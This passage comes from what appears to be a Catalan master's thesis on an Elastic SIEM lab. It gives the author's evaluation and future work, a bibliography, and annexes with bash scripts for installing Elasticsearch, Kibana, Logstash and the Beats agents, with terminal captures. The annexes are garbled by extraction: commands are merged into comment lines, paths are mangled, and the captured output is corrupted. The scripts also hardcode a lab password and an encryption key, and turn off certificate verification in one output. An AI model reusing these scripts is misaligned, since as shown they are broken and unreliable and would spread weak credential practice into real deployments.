ha donat molts falsos positius. Per tant, aquest objectiu s'ha assolit de manera parcial.

# 6.4.2. Objectius d'implementació i coneixement

## Obtenció dels coneixements necessaris

- > Funcionament de l'ElasticSearch i els seus components.
- > Coneixements de l'Elastic Common Schema.
- > Funcionament de la funció de SIEM d'ElasticSerach.
- Correlació d'esdeveniments.
- > Detecció d'anomalies amb l'Elastic.
- > Aplicació del Machine Learning.

S'han assolit els objectius marcats en l'àmbit de coneixement, he adquirit nous coneixements relacionats amb els diferents productes de l'Elastic Stack. He indagat sobre l'Elastic Common Schema i he vist la seva utilitat. Ha estat possible detectar anomalies mitjançant l'anàlisi de les diferents dades. He adquirit coneixement amb relació a la utilització del Machine Learning en l'àmbit de la seguretat. Pel que fa a la correlació d'esdeveniments, els he hagut de realitzar de manera manual, ja que el producte no ho permet.

## Desplegament de l'Elastic Stack

> Instal·lació i configuració d'Elastic Stack.

S'han pogut desplegar els diferents components de l'Elastic Stack i també s'han pogut utilitzar, per tant, es considera que l'objectiu s'ha assolit.

### Objectius d'entrega

- > Planificació dels temps del treball, així com les entregues parcials.
- Elaboració de la memòria.
- > Elaboració de la presentació del treball i també del vídeo.

He entregat els diferents lliuraments segons la planificació realitzada i la memòria l'he anat elaborant a mesura en què realitzava les diferents proves. He anat aplicant les correccions i millores que m'han indicat durant les diferents correccions parcials. Per tant, es considerà que aquest objectiu s'ha assolit, tot i que, en el moment de presentar d'aquest document, encara no he fet el vídeo.

# 6.4.3. Valoració del treball

Aquest treball m'ha servit per ampliar els coneixements que tenia dels diferents productes del catàleg d'Elastic i m'ha permès provar la nova aplicació de l'Elastic SIEM. Mitjançant l'elaboració dels diferents escenaris i les diferents proves d'intrusió, m'ha permès veure el comportament d'aquest producte en cadascun dels casos i realitzar el seguiment dels diferents incidents. Malgrat els problemes que han sorgit, faig una valoració molt positiva d'aquest treball i espero poder oferir aquest producte als possibles clients en el meu lloc de treball.

# 6.5. Previsions de futur

Un cop finalitzat aquest treball, i pensant en possibles aplicacions al futur, seria interessant realitzar les següents línies de treball.

- Aplicar aquest producte en un entorn empresarial real, obtenint un volum més elevat de dades i permetent comprovar el rendiment d'aquesta solució, així com el cost que suposa la parametrització per detectar les intrusions més comunes.
- Aplicar el mòdul de Machine Learning en una situació real, comprovant si els diferents algoritmes que s'implementen són efectius per tal de detectar les anomalies.
- Utilitzar automatismes que permetin connectar-se directament en serveis al *cloud* per obtenir els diferents *logs*, així com els diferents esdeveniments de seguretat per aconseguir una visibilitat en temps real de la situació global i poder detectar possibles incidents de seguretat.
- Utilització del producte Elastic Endpoint Security per tal de detectar problemes de seguretat a les estacions de treball d'usuaris, així com la seva integració amb l'Elastic SIEM.
- Creació d'alertes per detectar anomalies per no haver de tenir sempre la consola de l'Elastic SIEM oberta. A més, poder d'implementar respostes envers aquestes alertes.

# 7. Bibliografia

*Análisis de Datos* [en línia]. Question Pro [Data de consulta: 27 de març de 2020]. <<u>https://www.questionpro.com/es/analisis-de-datos.html</u>>

*APM Node.js Agent Reference* [en línia]. Elastic [Data de consulta: 25 d'abril de 2020].

<https://www.elastic.co/guide/en/apm/agent/nodejs/current/index.html>

BANON, Shay. Presentación de Elastic Endpoint Security (2019) [en línia]. Elastic [Data de consulta: 27 de març de 2020]. <<u>https://www.elastic.co/es/blog/introducing-elastic-endpoint-security</u>>

BANON, Shay. *Welcome Endgame: Bringing Endpoint Security to the Elastic Stack (2019)* [en línia]. Elastic [Data de consulta: 27 de març de 2020]. <<u>https://www.elastic.co/es/blog/endgame-joins-forces-with-elastic</u>>

BURNHAM, Zachary. Sending Logs to ELK with Winlogbeat and Sysmon (2018) [en línia]. Burnham Forensics [Data de consulta: 25 d'abril de 2020]. <<u>https://burnhamforensics.com/2018/11/18/sending-logs-to-elk-with-winlogbeat-and-sysmon/</u>>

CABANILLAS, Oscar. *Aprendizaje Automático en el escenario de Seguridad* [en línia]. Elastic [Data de consulta: 26 de maig de 2020]. <<u>https://www.elastic.co/es/webinars/machine-learning-in-security></u>

CASCALLARES, Matias. *Introducción a Elastic SIEM: protege tu organización con el Stack Elastic* (2019) [en línia]. Elastic [Data de consulta: 27 de març de 2020].

<https://www.elastic.co/es/webinars/introducing-elastic-siem>

CASTILLO, José Antonio. *Active Directory Que es y para qué sirve* (2018) [en línia]. ProfesionalReview [Data de consulta: 27 de març de 2020]. <<u>https://www.profesionalreview.com/2018/12/15/active-directory/</u>>

DavidSV. *Diferencias entre protocolos NFS y CIFS* (2019) [en línia]. Huawei [Data de consulta: 27 de març de 2020].

<<u>https://forum.huawei.com/enterprise/es/diferencias-entre-protocolos-nfs-y-cifs/thread/486035-100251</u>>

DEGANI, Aviv. *Enterprise File Sharing: How to Set Up Multi-Platform Access with Cloud Volumes ONTAP* (2019) [en línia]. NetApp [Data de consulta: 27 de març de 2020].

<<u>https://cloud.netapp.com/blog/nfs-and-smb-cifs-enterprise-file-sharing-on-cloud-volumes-ontap</u>>

ELLINGWOOD, Justin; KALSIN, Vadym. *Cómo instalar Elasticsearch, Logstash y Kibana (Elastic Stack) en Ubuntu 18.04* (2020) [en línia]. DigitalOcean [Data de consulta: 27 de març de 2020].

<<u>https://www.digitalocean.com/community/tutorials/how-to-install-elasticsearch-logstash-and-kibana-elastic-stack-on-ubuntu-18-04-es</u>>

¿En qué consiste Active Directory? [en línea]. Paessler [Data de consulta: 27 de març de 2020].

<https://www.es.paessler.com/it-explained/active-directory>

HENDERSON, Justin; PAQUETTE, Mike. *Detecting Threats by Analyzing Windows Event Logs with the Elastic (ELK) Stack* [en línia]. Elastic [Data de consulta: 27 de març de 2020].

<<u>https://www.elastic.co/es/webinars/endpoint-security-analytics-with-windows-event-logs</u>>

Julita. *Difference Between NFS and CIFS* (2010) [en línia]. Difference Between [Data de consulta: 27 de març de 2020]. <<u>http://www.differencebetween.net/technology/difference-between-nfs-and-</u>

cifs/>

KOROMICHA. *Install and Setup Suricata on Ubuntu 18.04* (2019) [en línia]. Kifarunix [Data de consulta: 25 d'abril de 2020]. <a href="https://kifarunix.com/install-and-setup-suricata-on-ubuntu-18-04/">https://kifarunix.com/install-and-setup-suricata-on-ubuntu-18-04/</a>

La seguridad comienza en el endpoint [en línia]. Elastic [Data de consulta: 27 de març de 2020].

<https://www.elastic.co/es/endpoint-security>

*Logstash Reference* [en línia]. Elastic [Data de consulta: 26 de maig de 2020] <<u>https://www.elastic.co/guide/en/logstash/current/index.html</u>>

MIGUEL. Suricata IDS with ELK and Web Frontend on Ubuntu 18.04 LTS (2018) [en línia]. How to Forge [Data de consulta: 25 d'abril de 2020]. <<u>https://www.howtoforge.com/tutorial/suricata-with-elk-and-web-front-ends-on-ubuntu-bionic-beaver-1804-lts</u>>

MURPHY, Brent; FRENCH, David. *Hunting for persistence using Elastic Security* [en línia]. Elastic [Data de consulta: 27 de març de 2020]. <<u>https://www.elastic.co/es/webinars/hunting-for-persistence-using-elastic-security</u>>

PAQUETTE, Mike. *Presentación de Elastic SIEM (2019)* [en línia]. Elastic [Data de consulta: 25 d'abril de 2020]. <a href="https://www.elastic.co/es/blog/introducing-elastic-siem">https://www.elastic.co/es/blog/introducing-elastic-siem</a>

PERKINS, Dain. Integrating custom logs with ECS for Elastic SIEM [en línia]. Elastic [Data de consulta: 27 de març de 2020]. <<u>https://www.elastic.co/es/webinars/integrating-custom-logs-with-ecs-for-elastic-siem</u>> ¿Qué es Elasticsearch? [en línia]. Elastic [Data de consulta: 27 de març de 2020]. < <u>https://www.elastic.co/es/what-is/elasticsearch</u>>

RECUERO DE LOS SANTOS, Paloma. *Tipos de aprendizaje en Machine Learning: supervisado y no supervisado* (2017) [en línia]. Telefonica [Data de consulta: 26 de maig de 2020].

<<u>https://empresas.blogthinkbig.com/que-algoritmo-elegir-en-ml-aprendizaje/</u>>

ROUSE, Margaret. *Holistic security* (2017) [en línia]. TechTarget [Data de consulta: 27 de març de 2020]. <a href="https://whatis.techtarget.com/definition/holistic-security">https://whatis.techtarget.com/definition/holistic-security</a>

SCHREIBER, Joe. Open Source IDS Tools: Comparing Suricata, Snort, Bro (Zeek), Linux (2019) [en línia]. AT&T [Data de consulta: 27 de març de 2020]. <<u>https://cybersecurity.att.com/blogs/security-essentials/open-source-intrusion-detection-tools-a-quick-overview</u>>

SETTLE, Mark. *Lanzamiento de Elastic Security 7.6.0* (2020) [en línia]. Elastic [Data de consulta: 27 de març de 2020]. <<u>https://www.elastic.co/es/blog/elastic-security-7-6-0-released</u>>

*SIEM Guide (2019)* [en línia]. Elastic [Data de consulta: 25 d'abril de 2020]. <<u>https://www.elastic.co/guide/en/siem/guide/current/index.html</u>>

VASUDEVAN, Ramabadran. *Windows server 2019 Step-By-Step: Setup Active Directory environment using PowerShell (2019)* [en línia]. Microsoft [Data de consulta: 25 d'abril de 2020].

<<u>https://social.technet.microsoft.com/wiki/contents/articles/52765.windows-</u> server-2019-step-by-step-setup-active-directory-environment-usingpowershell.aspx#Step\_6\_ADDS>

*What is ECS?* Elastic [en línia]. [Data de consulta: 27 de març de 2020]. <<u>https://www.elastic.co/guide/en/ecs/current/ecs-reference.html</u>>

WURM, Cristoph; DESAI, Neil. *Detecting threats on Linux hosts with Auditbeat* [en línia]. Elastic [Data de consulta: 27 de març de 2020]. <<u>https://www.elastic.co/es/webinars/detecting-threats-on-linux-hosts-with-auditbeat</u>>

WURM, Christoph. *Elastic SIEM 7.4.0 released (2019)* [en línia]. Elastic [Data de consulta: 27 de març de 2020]. <<u>https://www.elastic.co/blog/elastic-siem-7-4-0-released</u>>

# 8. Annexos 8.1. Annex 1: Instal·lació d'Elastic Stack 8.1.1. Instal·lació d'ElasticSearch 8.1.1.1. Scripts

Script 1: Instal·lació d'ElasticSearch

#!/bin/bash
## Instal·lació de prerequisits

#1.Instal·lacio de Java OpenJDK 11 yum -y install java-11-openjdk

#2. Creació de la carpeta dades d'ElasticSearch mkdir /dades

##Instal·lacio d'Elastic

#1. Instal·lacio de PGP Key Repositori Elastic rpm --import https://artifacts.elastic.co/GPG-KEY-elasticsearch

#2. Creació del repositori d'ElasticSearch

cat << EOF > /etc/yum.repos.d/elasticsearch.repo [elasticsearch] name=Elasticsearch repository for 7.x packages baseurl=https://artifacts.elastic.co/packages/7.x/yum gpgcheck=1 gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch enabled=0 autorefresh=1 type=rpm-md EOF

#3.Instal·lacio d'ElasticSearch 7.6.1-1 yum -y install --enablerepo=elasticsearch elasticsearch-7.6.1-1

#4.Configuració bàsica d'Elastic

host=`hostname` PathOriginal="path.data: VvarVlibVelasticsearch" PathFinal="path.data: Vdades" sed -i 's/#cluster.name: my-application/cluster.name: MisticElastic/g' /etc/elasticsearch/elasticsearch.yml sed -i "s/#node.name: node-1/node.name: \$host/g" /etc/elasticsearch/elasticsearch.yml sed -i "s/\$PathOriginal/\$PathFinal/g" /etc/elasticsearch/elasticsearch.yml "s/#bootstrap.memory\_lock: sed -i true/bootstrap.memory\_lock: true/g" /etc/elasticsearch/elasticsearch.yml sed "s/#network.host: 192.168.0.1/network.host: -i 192.168.43.100/g" /etc/elasticsearch/elasticsearch.yml sed -i "s/#http.port: 9200/http.port: 9200/g" /etc/elasticsearch/elasticsearch.yml echo "discovery.type: single-node" >> /etc/elasticsearch/elasticsearch.yml #5. Ajustar paràmetres SO sed -i 's/-Xmx1g/-Xmx2g/g' /etc/elasticsearch/jvm.options #Assignar meitat de la RAM

sed -i 's/-Xmx1g/-Xmx2g/g /etc/elasticsearch/jvm.options #Assignar metat de la RAM echo 'elasticsearch soft nofile 65536' >> /etc/security/limits.conf echo 'elasticsearch hard nofile 65536' >> /etc/security/limits.conf echo 'elasticsearch soft memlock unlimited' >> /etc/security/limits.conf echo 'elasticsearch hard memlock unlimited' >> /etc/security/limits.conf

#6. Crear el FS /dades
echo "- - -" > /sys/class/scsi\_host/host0/scan
b=\$(lsblk | grep 25G|awk '{print \$1}')
echo -e "o\nn\np\n1\n\nt\n8e\nw" | fdisk /dev/\$b #Crear partició LVM
pvcreate /dev/\$b\1 #Creació del Phisical Volume

vgcreate vg\_dades /dev/\$b\1 #Creació del Volme Group lvcreate -n lv\_dades -l 100%FREE vg\_dades #Creació del LVM Volume mkfs.xfs /dev/vg\_dades/lv\_dades # Donar format ext4

#### #7. Mapejar nou FS

echo "UUID=\$(blkid -s UUID -o value /dev/vg\_dades/lv\_dades)" /dades xfs defaults 0 0 >> /etc/fstab mount -a chown elasticsearch: /dades

#### #8. Auto inici d'Elastic

systemctl enable elasticsearch

#### #9. Habilitar el firewall

firewall-cmd --permanent --zone=public --add-port=9200/tcp firewall-cmd --reload

#### Script 2: Creació dels certificats SSL ElasticSearch

#### #!/bin/bash

##Instal·lacié de la utilitat Certs yum -y install gnutls-utils

#### ES\_PATH\_CONF=/etc/elasticsearch

#### #Creació de l'estructura de carpetes

mkdir \$ES\_PATH\_CONF/ssl mkdir \$ES\_PATH\_CONF/ssl/templates mkdir \$ES\_PATH\_CONF/ssl/certs mkdir \$ES\_PATH\_CONF/ssl/private

#### #Creació de la plantilla de la CA

cat << EOF > \$ES\_PATH\_CONF/ssl/templates/ca\_server.conf cn = Elastic Server CA ca cert\_signing\_key EOF

#### #Creació de la plantilla servei

cat << EOF > \$ES\_PATH\_CONF/ssl/templates/elastic\_server.conf organization = "TFM Eduard" cn = elasticstack.mistic.lab tls\_www\_server encryption\_key signing\_key expiration\_days = 3652 EOF

#Creació de la clau de la CA certtool -p --outfile \$ES\_PATH\_CONF/ssl/private/ca\_server.key #Generació del certificat de la CA certtool -s --load-privkey \$ES\_PATH\_CONF/ssl/private/ca\_server.key --template \$ES\_PATH\_CONF/ssl/templates/ca\_server.conf --outfile \$ES\_PATH\_CONF/ssl/certs/ca\_server.pem

#Generació de la Clau Servei
certtool -p --sec-param high --outfile \$ES\_PATH\_CONF/ssl/private/elastic\_server.key
#Generació del Certificat Servei
certtool -c --load-privkey \$ES\_PATH\_CONF/ssl/private/elastic\_server.key --load-ca-certificate
\$ES\_PATH\_CONF/ssl/certs/ca\_server.pem --load-ca-privkey
\$ES\_PATH\_CONF/ssl/private/ca\_server.key --template
\$ES\_PATH\_CONF/ssl/templates/elastic\_server.conf --outfile
\$ES\_PATH\_CONF/ssl/certs/elastic\_server.pem

#Canviar el propietari de la carpeta chown elasticsearch: -R \$ES\_PATH\_CONF/ssl #!/bin/bash

ES\_PATH\_CONF=/etc/elasticsearch

cp \$ES\_PATH\_CONF/elasticsearch.yml \$ES\_PATH\_CONF/elasticsearch.yml\_bckPreSeguretat

echo "xpack.security.enabled: true" >> \$ES\_PATH\_CONF/elasticsearch.yml echo "xpack.security.transport.ssl.enabled: true" >> \$ES\_PATH\_CONF/elasticsearch.yml echo "xpack.security.transport.ssl.verification\_mode: certificate" >> \$ES\_PATH\_CONF/elasticsearch.yml echo "xpack.security.transport.ssl.key: \$ES\_PATH\_CONF/ssl/private/elastic\_server.key" >> \$ES\_PATH\_CONF/elasticsearch.yml echo "xpack.security.transport.ssl.certificate: \$ES\_PATH\_CONF/ssl/certs/elastic\_server.pem" >> \$ES\_PATH\_CONF/elasticsearch.yml echo "xpack.security.transport.ssl.certificate\_authorities: \$ES\_PATH\_CONF/ssl/certs/ca\_server.pem" >> \$ES\_PATH\_CONF/elasticsearch.yml echo "xpack.security.authc.api\_key.enabled: true" >> \$ES\_PATH\_CONF/elasticsearch.yml echo "xpack.security.http.ssl.enabled: true" >> \$ES\_PATH\_CONF/elasticsearch.yml echo "xpack.security.http.ssl.key: \$ES\_PATH\_CONF/ssl/private/elastic\_server.key" >> \$ES\_PATH\_CONF/elasticsearch.yml echo "xpack.security.http.ssl.certificate: \$ES\_PATH\_CONF/ssl/certs/elastic\_server.pem" >> \$ES\_PATH\_CONF/elasticsearch.yml echo "xpack.security.http.ssl.certificate\_authorities: \$ES\_PATH\_CONF/ssl/certs/ca\_server.pem" >> \$ES\_PATH\_CONF/elasticsearch.yml

## 8.1.1.2. Captures

#### Captura 1: Estat del clúster

Proot@elasticstack~	_		$\times$
[root@elasticstack ~]# curl -X GET "192.168.43.100:9200/ cluster/	health	?wait	for ^
status=yellow&timeout=50s&pretty"		_	
{			
"cluster_name" : "MisticElastic",			
"status" : "green",			
"timed_out" : false,			
"number_of_nodes" : 1,			
"number_of_data_nodes" : 1,			
"active_primary_shards" : 0,			
"active_shards" : 0,			
"relocating_shards" : 0,			
"initializing_shards" : 0,			
"unassigned_shards" : 0,			
"delayed_unassigned_shards" : 0,			
"number_of_pending_tasks" : 0,			
"number_of_in_flight_fetch" : 0,			
"Lask_max_walting_in_queue_millis" : 0,			
"accive_shards_percent_as_humber" : 100.0			
/			
[IOOLGEIASLICSLACK ~]#			
			· ·

#### Captura 2: Usuaris del Sistema Elastic

Proot@elasticstack~	_		$\times$
[root@elasticstack ~] # /usr/share/elasticsearch/bin/elasticsearch- s interactive -u "https://elasticstack.mistic.lab:9200" Initiating the setup of passwords for reserved users elastic.apm_s ogstash system.beats_system.remote_monitoring_user. You will be prompted to enter passwords as the process progresses. Please confirm that you would like to continue [y/N]y	-setup system	)-passv 1, kibar	vord ^ na,1
Enter password for [elastic]: Reenter password for [elastic]: Enter password for [apm_system]: Reenter password for [kibana]: Reenter password for [kibana]: Reter password for [logstash_system]: Enter password for [logstash_system]: Enter password for [beats_system]: Enter password for [semote_monitoring_user]: Reenter password for user [apm_system] Changed password for user [logstash_system] Changed password for user [leasts_system] Changed password for user [leastic] [root@elasticstack ~]# []			
			$\sim$

Captura 3: Estat del Clúster SSL



# 8.1.2. Instal·lació del Kibana

## 8.1.2.1. Scripts

Script 4: Instal·lació i configuració del Kibana

#### #!/bin/bash

#1. Creació del repositori d'ElasticSearch cat << EOF > /etc/yum.repos.d/kibana.repo [kibana-7.x] name=Kibana repository for 7.x packages baseurl=https://artifacts.elastic.co/packages/7.x/yum gpgcheck=1 gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch enabled=1 autorefresh=1 type=rpm-md EOF #2. Instal·lació del Kibana yum -y install kibana

#3. Configuració del Kibana

host=`hostname` ES PATH CONF=/usr/share/kibana cp -rp /etc/elasticsearch/ssl \$ES\_PATH\_CONF chown -R kibana:kibana \$ES\_PATH\_CONF/ssl mkdir /var/log/kibana chown kibana:kibana /var/log/kibana cp /etc/kibana/kibana.yml /etc/kibana/kibana.yml\_PreConfig echo "server.host: \"\$host\"" >> /etc/kibana/kibana.yml echo "server.name: \"\$host\"" >> /etc/kibana/kibana.yml echo "elasticsearch.hosts: [\"https://\$host:9200\"]" >> /etc/kibana/kibana.yml echo "elasticsearch.username: \"kibana\"" >> /etc/kibana/kibana.yml echo "elasticsearch.password: \"3l4s1cUs3r\"" >> /etc/kibana/kibana.yml echo "server.ssl.enabled: true" >> /etc/kibana/kibana.yml echo "server.ssl.certificate: \$ES\_PATH\_CONF/ssl/certs/elastic\_server.pem" >> /etc/kibana/kibana.yml echo "server.ssl.key: \$ES\_PATH\_CONF/ssl/private/elastic\_server.key" >> /etc/kibana/kibana.yml "elasticsearch.ssl.certificate: \$ES\_PATH\_CONF/ssl/certs/elastic\_server.pem" echo /etc/kibana/kibana.yml echo "elasticsearch.ssl.key: \$ES\_PATH\_CONF/ssl/private/elastic\_server.key" >> /etc/kibana/kibana.yml echo "elasticsearch.ssl.certificateAuthorities: [ \"\$ES\_PATH\_CONF/ssl/certs/ca\_server.pem\" ]" >> /etc/kibana/kibana.yml echo "logging.dest: /var/log/kibana/kibana.log" >> /etc/kibana/kibana.yml

#Perquè funcionin les *detection rules* https://www.elastic.co/guide/en/siem/guide/7.6/detection-engine-overview.html#detections-permissions

echo "xpack.encryptedSavedObjects.encryptionKey: 'RN4JRjlzQwR1Ns4LpnGw2ia1J2kOHzHf'" >> /etc/kibana/kibana.yml

#4. Iniciar el Kibana systemctl enable kibana systemctl start kibana

#5. Afegir la regla del firewall

firewall-cmd --permanent --zone=public --add-port=5601/tcp firewall-cmd --reload

8.1.2.2. Captures

Archivo Editar Ver Hi	storial Marcadores Herramientas Aygda	- D	- 5
(←) → ♂ ŵ	🛛 🔒 https://elasticstack.mistic.lab:5601/login?r 🛛 🐨 💟 🐔	•	-
	Welcome to Kibana		
	Your window into the Elastic Stack		
	Username		
	Password		
	Log in		

Captura 4: Accés del Kibana

# 8.1.3. Instal·lació del Logstash

## 8.1.3.1. Scripts

Script 5: Instal·lació del Logstash

#### #!/bin/bash

#1. Creació del repositori de Logstash cat << EOF > /etc/yum.repos.d/logstash.repo [logstash-7.x] name=Elastic repository for 7.x packages baseurl=https://artifacts.elastic.co/packages/7.x/yum gpgcheck=1 gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch enabled=1 autorefresh=1 type=rpm-md EOF

#2. Instal·lació de Logstash ES\_PATH\_CONF=/usr/share/logstash yum -y install logstash

#3. Copia dels certificats SSL i convertir la Key a pkcs8 https://discuss.elastic.co/t/logstash-ssl-file-doesnot-contain-a-valid-private-key-with-beats/173229 cp -rp /etc/elasticsearch/ssl \$ES\_PATH\_CONF openssl pkcs8 -in \$ES\_PATH\_CONF/ssl/private/elastic\_server.key -topk8 -out \$ES\_PATH\_CONF/ssl/private/elastic\_server\_pk8.key -nocrypt chown -R logstash:logstash \$ES\_PATH\_CONF/ssl

#4. Configuració del Logstash host=`hostname`

mkdir /dades/logstash chown logstash:logstash /dades/logstash cp /etc/logstash/logstash.yml /etc/logstash/logstash.yml\_PreConfig

sed -i "s/# node.name: test/node.name: \$host/g" /etc/logstash/logstash.yml PathOriginal="path.data: VvarVlibVlogstash" PathFinal="path.data: VdadesVlogstash" sed -i "s/\$PathOriginal/\$PathFinal/g" /etc/logstash/logstash.yml

#5. Configuració de la Pipeline

```
cat << EOF > /etc/logstash/conf.d/01_beats.conf
input {
 beats {
  port => 5044
         ssl => true
  ssl_certificate_authorities => ["/usr/share/logstash/ssl/certs/ca_server.pem"]
  ssl_certificate => "/usr/share/logstash/ssl/certs/elastic_server.pem"
  ssl_key => "/usr/share/logstash/ssl/private/elastic_server_pk8.key"
  ssl_verify_mode => "force_peer"
 }
}
output {
 elasticsearch {
  hosts => ["https://elasticstack.mistic.lab:9200"]
  index => "%{[@metadata][beat]}-%{[@metadata][version]}-%{+YYYY.MM.dd}"
  user => "elastic"
  password => "3l4s1cUs3r"
         ssl_certificate_verification => false
 }
}
```

EOF

#6. Iniciar el Kibana systemctl enable logstash

systemctl start logstash

#7. Obrir el firewall

firewall-cmd --permanent --zone=public --add-port=5044/tcp firewall-cmd --reload

# 8.1.3.2. Captures



Proot@elasticstack:~	_		$\times$
<pre>[2020-03-25T19:15:24,936] [INFO ] [logstash.outputs.elastics g to install template {:manage template=&gt;{"index patterns" on"=&gt;60001, "settings"=&gt;{"index.refresh_interval"=&gt;"5s", " "mappings"=&gt;{"dynamic_templates"=&gt;[{"message_field"=&gt;{"pa "match_mapping_type"=&gt;"string", "mapping"=&gt;{"type"=&gt;"text" "string_fields"=&gt;{"match"=&gt;"*", "match_mapping_type"=&gt;"text" "string_fields"=&gt;{"match"=&gt;"*", "match_mapping_type"=&gt;"string"</pre>	<pre>search][main '=&gt;"logstash 'number_of_: ath_match"== ', "norms"== cing", "mapp &gt; "bases of the search of the search of the search of the search of the search of the search of the search of the search of the search of the search of the s</pre>	n] Attempt h-*", "ve: shards"=>: >"message" >false}}} ping"=>{"false}}	tin ^ rsi 1}, ", typ
<pre>e"=&gt;"text", "norms"=&gt;false, "fields"=&gt;{"keyword"=&gt;{"type"= ove"=&gt;256}}}}, "properties"=&gt;{"@timestamp"=&gt;{"type"=&gt;"de pe"=&gt;"keyword"}, "geoip"=&gt;{"dynamic"=&gt;true, "properties"=&gt; "location"=&gt;{"type"=&gt;"geo_point"}, "latitude"=&gt;{"type"=&gt;" de"=&gt;{"type"=&gt;"half float"}}}}</pre>	=>"keyword", ate"}, "@ve: >{"ip"=>{"t 'half_float	, "ignore rsion"=>{ ype"=>"ip "}, "long:	_ab "ty "}, itu
[2020-03-25T19:15:24,970][INFO][logstash.outputs.elastics g elasticsearch template to template/logstash	search][main	n] Instal	lin
[2020-03-25T19:15:25,751][INFO ][logstash.inputs.beats Starting input listener {:address=>"0.0.0.0:5044"}	][main] Bea	ats input:	5:
<pre>[2020-03-25T19:15:26,278][INFO ][logstash.javapipeline ed {"pipeline.id"=&gt;"main"}</pre>	][main] Pi	peline sta	art
<pre>[2020-03-25T19:15:26,334] [INFO ] [logstash.agent count=&gt;1, :running_pipelines=&gt;[:main], :non_running_pipeli [2020-03-25T19:15:26,475] [INFO ] [org.logstash.beats.Server r on port: 5044</pre>	] Pipeline: ines=>[]} c][main] Sta	s running arting se:	{: rve
[2020-03-25T19:15:26,556][INFO ][logstash.agent _Logstash API endpoint {:port=>9600}	] Successf	ully star	ted

Captura 6: Validar la creació de la plantilla del Logstash



# 8.1.4. Beats 8.1.4.1. AuditBeat

8.1.4.1.1. Scripts

#### Script 6: Instal·lació de l'AuditBeat

#### #!/bin/bash

#### #1. Instal·lació d'AuditBeat

curl -L -O https://artifacts.elastic.co/downloads/beats/auditbeat/auditbeat-7.6.1-x86\_64.rpm sudo rpm -vi auditbeat-7.6.1-x86\_64.rpm

#### #2. Configuració d'AuditBeat

cp /etc/auditbeat/auditbeat.yml /etc/auditbeat/auditbeat.yml\_PreConfig host=`hostname`

cp -rp /etc/elasticsearch/ssl/ /usr/share/auditbeat/

sed -i "s/localhost/\$host/g" /etc/auditbeat/auditbeat.yml /etc/auditbeat/auditbeat.yml sed -i "s/#protocol: \"https\"/protocol: \"https\"/g" /etc/auditbeat/auditbeat.yml /etc/auditbeat/auditbeat.yml echo "output.elasticsearch.ssl.certificate\_authorities: [\"/usr/share/auditbeat/ssl/certs/ca\_server.pem\"]" >> /etc/auditbeat/auditbeat.yml

echo "output.elasticsearch.ssl.certificate: \"/usr/share/auditbeat/ssl/certs/elastic\_server.pem\"" >> /etc/auditbeat/auditbeat.yml

echo "output.elasticsearch.ssl.key: \"/usr/share/auditbeat/ssl/private/elastic\_server.key\"" >> /etc/auditbeat/auditbeat.yml

echo "output.elasticsearch.username: \"elastic\"" >> /etc/auditbeat/auditbeat.yml

echo "output.elasticsearch.password: \"3l4s1cUs3r\"" >> /etc/auditbeat/auditbeat.yml

echo "setup.kibana.host: \"https://elasticstack.mistic.lab:5601\"" >> /etc/auditbeat/auditbeat.yml

echo "setup.kibana.username: \"elastic\"" >> /etc/auditbeat/auditbeat.yml

echo "setup.kibanapassword: \"3l4s1cUs3r\"" >> /etc/auditbeat/auditbeat.yml

#3. Iniciar l'Auditbeatsystemctl enable auditbeatsystemctl start auditbeat9.

#### 9.1.1.1.1. Captures

Captura 7: Dades de l'AuditBeat

€∋	ତ 🔒 💿 🔒	ittps://elastic	ack.mistic.lab.5601/app/siem#/overview?timerange=(global:(linkTo:)(timeline),timerange:(from:1585154282792,fromStr.:: 🚥 💟 🐔 😭	III\ E	Ð
	SIEM / Overview			0	•
	🕲 🗸 Search		KQL 🛗 🗸 Last 24 hours Show dates	C Refresh	
۲	🗇 - + Add filter				
ŝ	Playing defense against	-			
1	Gamaredon Group 2020-02-13	- Wed			
ê	Learn how the Intelligence & Analytics		Event count Stack by event.dataset ~	View events	
8	ongoing adversary campaign.		Showing: 1,882 events		
8	Elastic Security 7.6.0 released		1800	• file	- allo
8	Elastic Security 7.6 automates threat	1.000	1400	package	1
3	detection with MITRE ATT&CK*-aligned rules for the SIEM app and enhanced		800 600	• user	
9	Endpoint Security protections for Windows hosts.		400	<ul> <li>socket</li> </ul>	
đ	Have SIEM questions? 2020-02-05		83-25 18:00 83-25 21:00 83-26 00:00 83-26 83:00 83-26 86:00 83-26 99:00 83-26 12:00 83-26 15:00	<ul> <li>All others</li> </ul>	
r an	Join our growing community of Elastic				
8	and use of Elastic SIEM for threat		Host events View hosts Network events	View network	
æ	detection and response.		Showing: 1,873 events Showing: 18 events		
•	Elastic Endpoint Security overview webinar 2019-11-17	۲	> Auditbeat 1,873 > Auditbeat 18		
	Elastic is bringing endpoint protection		> Elastic Endpoint Security 0 > Filebeat 0		

## 9.1.1.2. PacketBeat

9.1.1.2.1. Scripts



#!/bin/bash #1. Instal·lació del PacketBeat yum -y install libpcap

curl -L -O https://artifacts.elastic.co/downloads/beats/packetbeat/packetbeat-7.6.1-x86\_64.rpm sudo rpm -vi packetbeat-7.6.1-x86\_64.rpm

#### #2. Configuració del PacketBeat

cp /etc/packetbeat/packetbeat.yml /etc/packetbeat/packetbeat.yml\_PreConfig host=`hostname`

cp -r /etc/elasticsearch/ssl/ /usr/share/packetbeat/

sed -i "s/localhost/\$host/g" /etc/packetbeat/packetbeat.yml /etc/packetbeat/packetbeat.yml

sed -i "s/#protocol: \"https\"/protocol: \"https\"/g" /etc/packetbeat/packetbeat.yml

echo "output.elasticsearch.ssl.certificate\_authorities: [\"/usr/share/packetbeat/ssl/certs/ca\_server.pem\"]" >> /etc/packetbeat/packetbeat.yml

echo "output.elasticsearch.ssl.certificate: \"/usr/share/packetbeat/ssl/certs/elastic\_server.pem\"" >> /etc/packetbeat/packetbeat.yml

echo "output.elasticsearch.ssl.key: \"/usr/share/packetbeat/ssl/private/elastic\_server.key\"" >> /etc/packetbeat/packetbeat.yml

echo "output.elasticsearch.username: \"elastic\"" >> /etc/packetbeat/packetbeat.yml

echo "output.elasticsearch.password: \"3l4s1cUs3r\"" >> /etc/packetbeat/packetbeat.yml

echo "setup.kibana.host: \"https://elasticstack.mistic.lab:5601\"" >> /etc/packetbeat/packetbeat.yml

echo "setup.kibana.username: \"elastic\"" >> /etc/packetbeat/packetbeat.yml

echo "setup.kibanapassword: \"3l4s1cUs3r\"" >> /etc/packetbeat/packetbeat.yml

